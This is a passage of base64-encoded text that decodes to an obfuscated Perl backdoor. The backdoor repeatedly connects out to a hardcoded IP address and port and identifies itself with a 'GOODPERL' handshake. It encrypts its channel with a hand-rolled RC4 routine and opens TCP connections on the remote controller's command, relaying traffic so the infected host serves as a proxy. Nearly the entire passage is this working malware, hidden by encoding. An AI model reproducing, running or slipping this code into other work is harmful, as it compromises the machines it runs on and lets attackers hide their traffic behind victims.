yX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQ